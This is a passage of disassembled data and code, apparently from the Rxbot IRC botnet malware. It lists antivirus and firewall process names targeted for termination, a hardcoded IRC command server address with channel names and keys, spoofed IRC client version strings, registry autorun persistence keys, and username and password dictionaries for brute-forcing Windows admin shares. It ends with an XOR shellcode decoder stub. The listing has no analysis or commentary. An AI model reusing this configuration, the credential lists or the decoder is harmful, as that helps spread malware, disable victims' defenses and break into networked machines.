		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSvshost32_exe ; "SVSHOST32.EXE"
		dd offset aUpd32_exe	; "UPD32.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
		dd offset aMsconfig_exe	; "MsConfiG.exe"
		dd offset aWuanclt_exe	; "WUANCLT.EXE"
		dd offset aWuacrlt_exe	; "WUACRLT.EXE"
		dd offset aWruaclt_exe	; "WRUACLT.EXE"
		dd offset aWinssv_exe	; "winssv.exe"
		dd offset aScguard_exe	; "scguard.exe"
		dd offset aWuamgrd_exe	; "wuamgrd.exe"
		dd offset aBling_exe	; "bling.exe"
		dd offset aWinmp_exe	; "winmp.exe"
		dd offset aHass_exe	; "hass.exe"
off_42F748	dd offset dword_4276F4	; DATA XREF: sub_40913E+20Er
		dd offset off_4276F0
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_42F758	dd 6F6C2E3Ah, 206E6967h, 3 dup(0)dword_42F76C	dd 0				dd 6F6C2C3Ah, 206E6967h, 4 dup(0)
		dd 6F6C213Ah, 206E6967h, 4 dup(0)
		dd 6F6C403Ah, 206E6967h, 4 dup(0)
		dd 6F6C243Ah, 206E6967h, 4 dup(0)
		dd 6F6C253Ah, 206E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 206E6967h, 4 dup(0)
		dd 6F6C263Ah, 206E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 206E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 206E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 206E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 206E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 206E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 206E6967h, 4 dup(0)
		dd 6F6C273Ah, 206E6967h, 4 dup(0)
		dd 6F6C603Ah, 206E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 206E6967h, 4 dup(0)
		dd 6F6C203Ah, 206E6967h, 4 dup(0)
		dd 65732E3Ah, 2074h, 4 dup(0)
		dd 65732C3Ah, 2074h, 4 dup(0)
		dd 6573213Ah, 2074h, 4 dup(0)
		dd 6573403Ah, 2074h, 4 dup(0)
		dd 6573243Ah, 2074h, 4 dup(0)
		dd 6573253Ah, 2074h, 4 dup(0)
		dd 65735E3Ah, 2074h, 4 dup(0)
		dd 6573263Ah, 2074h, 4 dup(0)
		dd 65732A3Ah, 2074h, 4 dup(0)
		dd 65732D3Ah, 2074h, 4 dup(0)
		dd 65732B3Ah, 2074h, 4 dup(0)
		dd 65732F3Ah, 2074h, 4 dup(0)
		dd 65735C3Ah, 2074h, 4 dup(0)
		dd 65733D3Ah, 2074h, 4 dup(0)
		dd 65733F3Ah, 2074h, 4 dup(0)
		dd 6573273Ah, 2074h, 4 dup(0)
		dd 6573603Ah, 2074h, 4 dup(0)
		dd 65737E3Ah, 2074h, 4 dup(0)
		dd 6573203Ah, 2074h, 4 dup(0)
		dd 206C2E3Ah, 5	dup(0)
		dd 206C213Ah, 5	dup(0)
		dd 206C243Ah, 5	dup(0)
		dd 206C253Ah, 5	dup(0)
		dd 20782E3Ah, 5	dup(0)
		dd 2078213Ah, 5	dup(0)
		dd 2078243Ah, 5	dup(0)
		dd 2078253Ah, 5	dup(0)
		dd 64642E3Ah, 20736Fh, 4 dup(0)
		dd 6464213Ah, 20736Fh, 4 dup(0)
		dd 6464243Ah, 20736Fh, 4 dup(0)
		dd 6464253Ah, 20736Fh, 4 dup(0)
		dd 64752E3Ah, 70h, 4 dup(0)
		dd 6475213Ah, 70h, 4 dup(0)
		dd 6475243Ah, 70h, 4 dup(0)
		dd 6475253Ah, 70h, 4 dup(0)
		dd 5245504Fh, 20h, 3 dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1
aNowAnIrcOperat	db 'now an IRC Operator',0
		dd 1, 6	dup(0)
dword_42FCB0	dd 1BBh							; sub_40FAD0+4CAr
dword_42FCB4	dd 1BBh		dword_42FCB8	dd 4DBh		dword_42FCBC	dd 45h							; sub_409806+47F6r
dword_42FCC0	dd 4E20h						; sub_409806:loc_40E0FCr
dword_42FCC4	dd 201h		dword_42FCC8	dd 1		dword_42FCCC	dd 1		dword_42FCD0	dd 1							; sub_40FAD0:loc_40FE03r
byte_42FCD4	db 2Eh			; DATA XREF: sub_402C12:loc_402C1Er
					; sub_409806+7A4r ...
		align 4
dword_42FCD8	dd 6							; sub_410D7C+51r ...
dword_42FCDC	dd 1							; sub_409806+25Dr ...
dword_42FCE0	dd 1							; sub_409806+257r
aRxbot012	db 'Rxbot012',0         ; DATA XREF: sub_409806+32A1o
					; sub_409806:loc_40E988o ...
		align 10h
aBot0_012	db '[Bot 0.012]',0      ; DATA XREF: sub_409806:loc_40ED0Do
aN3m3s1s	db 'n3m3s1s',0          ; DATA XREF: sub_409806+4E9Do
					; sub_409806+6113o ...
a217_170_244_2	db '217.170.244.2',0    ; DATA XREF: sub_40FAD0+3FFo
					; sub_40FAD0+4BFo
		align 4
aHell		db '#hell',0            ; DATA XREF: sub_40FAD0+41Bo
					; sub_40FAD0+4D1o
		align 4
aTroopers	db 'troopers',0         ; DATA XREF: sub_40FAD0+432o
					; sub_40FAD0+4E3o
		align 4
byte_42FD28	db 38h			; DATA XREF: sub_40FAD0:loc_40FFCAr
					; sub_40FAD0+509o
		db 32h,	2Eh, 31h
		dd 392E3431h, 322E30h
dword_42FD34	dd 6C656823h, 6ChaTroopers_0	db 'troopers',0         ; DATA XREF: sub_40FAD0+52Do
		align 4
byte_42FD48	db 72h			; DATA XREF: sub_401141+63o
					; sub_401141+18Ao ...
		db 73h,	6Ch, 72h
		dd 33777278h, 78652E32h, 65h
dword_42FD58	dd 2E79656Bh, 747874haNetworkHostSer	db 'Network Host Service',0 ; DATA XREF: sub_40210D+Bo
		align 4
aSoul		db '[SOUL]',0           ; DATA XREF: sub_410D7C+12o
		align 10h
aSysconfig_dat	db 'sysconfig.dat',0
		align 10h
aIx		db '+ix',0              ; DATA XREF: sub_409806+6292o
aMurders	db '#murders',0         ; DATA XREF: sub_409806+4597o
					; sub_409806+5F8Do
		align 10h
aHell_1		db '#hell',0            ; DATA XREF: sub_409806+1DCDo
		align 4
aSniffing	db '#sniffing',0        ; DATA XREF: sub_409806+1C08o
		align 4
off_42FDB4	dd offset a@celestial_org ; DATA XREF: sub_409806+6191r
					; "*@celestial.org"
off_42FDB8	dd offset aMircV6_12Khale ; DATA XREF: sub_409806+926r
					; "mIRC	v6.12 Khaled Mardam-Bey"
		dd offset aMircV6_03Khale ; "mIRC v6.03	Khaled Mardam-Bey"
		dd offset aBitchx74p2ByPa ; "BitchX-74p2+ by panasync -	CYGWIN32/95 "...
		dd offset a__Argon1gBitch ; "..(argon/1g) :bitchx-75 : Keep it to yo"...
		dd offset aBitchx70alpha1 ; "BitchX-70alpha14+tcl by panasync -	Linu"...
		dd offset aBitchx1_0c19By ; "BitchX-1.0c19+ by panasync	- FreeBSD 4."...
		dd offset aBitchx74p21_3f ; "BitchX-74p2+1.3f/SunOS 5.6	:(c)rackrock"...
		dd offset aBitchx1_0c18By ; "BitchX-1.0c18+ by panasync	- IRIX 6.5.1"...
		dd offset aBx_75p1Linux2_ ; "[bx.75p1] linux 2.0.36 [embryonic.22b3]"...
		dd offset aIrciiEpic4pr_0 ; "ircII EPIC4pre2 Linux 2.0.34 - Accept n"...
		dd offset aIrciiEpic4pre2 ; "ircII EPIC4pre2 SunOS 5.6 - cypher(beta"...
		dd offset aIrcii2_9Bitchx ; "ircII 2.9-BitchX-60 Linux 1.2.8 :bitZ%s"...
		dd offset aIrcii2_8_2Suno ; "ircII 2.8.2 SunOS 5.6 :ircii 2.8: almos"...
		dd offset aIrcii2_9_baseO ; "ircII 2.9_base OSF1 V4.0 :ircii 2.8: al"...
		dd offset aXchat1_8_10Lin ; "xchat 1.8.10 Linux	2.4.25p1mp [i686/501"...
		dd offset aIrcn7_277_0Eve ; "ircN 7.27 + 7.0 - everyone	i know goes "...
		dd offset aIrssiV0_8_4Run ; "irssi v0.8.4 - running on Linux i686"
		dd offset aMirc32V5_71K_m ; "mIRC32 v5.71 K.Mardam-Bey"
		dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey"
		dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey"
		dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey"
		dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey"
		dd offset aMircV5_71K_mar ; "mIRC v5.71	K.Mardam-Bey"
		dd offset aMircV5_82K_mar ; "mIRC v5.82	K.Mardam-Bey"
		dd offset aMircV6_01K_mar ; "mIRC v6.01	K.Mardam-Bey"
		dd offset aMircV6_03K_mar ; "mIRC v6.03	K.Mardam-Bey"
		dd offset aMircV6_1K_mard ; "mIRC v6.1 K.Mardam-Bey"
		dd offset aMircV6_01K_mar ; "mIRC v6.01	K.Mardam-Bey"
		dd offset aMircV6_03K_mar ; "mIRC v6.03	K.Mardam-Bey"
		dd offset aMircV6_10K_mar ; "mIRC v6.10	K.Mardam-Bey"
		dd offset aMircV6_12K_mar ; "mIRC v6.12	K.Mardam-Bey"
		dd offset aMircV6_14K_mar ; "mIRC v6.14	K.Mardam-Bey"
		dd offset aMirc32V1_0K_ma ; "mIRC32 v1.0 K .Mardam-Bey"
		dd offset aEggdropV1_6_15 ; "eggdrop v1.6.15"
		dd offset aEggdropV1_6_13 ; "eggdrop v1.6.13"
		dd offset aStormbot_tcl3_ ; "StormBot.TCL 3.1.beta.2.10	by Xone	& Do"...
		dd offset aCBasedIrcClien ; "C++ based IRC Client by Jumpincow/shaxx"...
		dd offset aHydraircV0_3_1 ; "HydraIRC v0.3.133-Test (14/March/2004) "...
		dd offset aWsirc2_03RCopy ; "WSIRC 2.03-R - CopyRight 1994, 1995 Cae"...
		dd offset aIrcn6_03ForMir ; "ircN 6.03 for mIRC	- are we being punis"...
		dd offset aIrcn7_0rc_67_0 ; "ircN 7.0rc.6 + 7.0rc.5 + 7.0rc.4 for mI"...
		dd offset aOsiris1cBitchx ; "osiris-1c/bitchx-75p1 + autobot(bx) p3x"...
		dd offset aXirconB4Doot_3 ; "xircon[b4]	+ doot.3b[pawt]	be-two + ano"...
		dd offset aAmircAmigaos2_ ; "AmIRC/AmigaOS 2.0.4 by Oliver Wagner <o"...
		dd offset aQuarterdeckGlo ; "Quarterdeck Global	Chat 1.2.9 for Macin"...
		dd offset aIrcle3_0b10UsP ; "Ircle 3.0b10 US PPC 12/15/1997 21:07:34"...
		dd offset aEggdrop1_3_24i ; "Eggdrop 1.3.24i (c)1997 Robey Pointer"
		dd offset aJpilotIrcJavaC ; "JPilot IRC	Java Client 2.32"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .text:off_42E4F4o
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4112AD+23o
					; sub_4115D4+23o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4112AD+D5o
					; sub_4115D4+D5o
		align 10h
off_42FF20	dd offset aAdministrato_0 ; DATA XREF: .text:004162F8r
					; .text:00416300o
					; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
dword_42FF70	dd 422B0Ah			dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_0	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
off_43005C	dd offset aWinxp	; DATA XREF: .text:off_430788o
					; .text:00430DD0o
					; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell_0	; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4301A0	dd 10h							; sub_409806+807r ...
		align 8
dword_4301A8	dd 736E6F63h			dd 74h,	0
dword_4301B4	dd 1		off_4301B8	dd offset sub_410D7C	; DATA XREF: sub_411098+6Cr
aLetter		db 'letter',0
		align 8
		dd 2, 410DDAh, 706D6F63h, 2 dup(0)
		dd 3, 410E27h, 6E756F63h, 797274h, 0
		dd 4, 410E96h, 736Fh, 2	dup(0)
		dd 5, 410F0Bh
dword_43020C	dd 1D4C0h	off_430210	dd offset aIpc_0	; DATA XREF: sub_4112AD:loc_411463r
					; sub_4112AD+1C4r ...
					; "IPC$"
dword_430214	dd 0				dd offset aAdmin_0	; "ADMIN$"
		align 10h
		dd offset aC_3		; "C$"
		dd offset aC_2		; "C:\\"
		dd offset aD_3		; "D$"
		dd offset aD_2		; "D:\\"
; ---------------------------------------------------------------------------


loc_430230:				; DATA XREF: sub_411F71+C0o
		jmp	short loc_430234
; ---------------------------------------------------------------------------


loc_430232:				; CODE XREF: .text:loc_430234p
		jmp	short loc_430239
; ---------------------------------------------------------------------------


loc_430234:				; CODE XREF: .text:loc_430230j
		call	loc_430232


loc_430239:				; CODE XREF: .text:loc_430232j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43023E	dw 0FFFFh		; DATA XREF: sub_411F71:loc_412024w
		db 80h,	73h, 0Eh
byte_430243	db 0FFh			; DATA XREF: sub_411F71+BAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_430248:				; DATA XREF: sub_411F71+9Co
		jmp	short loc_43024C
; ---------------------------------------------------------------------------


loc_43024A:				; CODE XREF: .text:loc_43024Cp
		jmp	short loc_430251
; ---------------------------------------------------------------------------


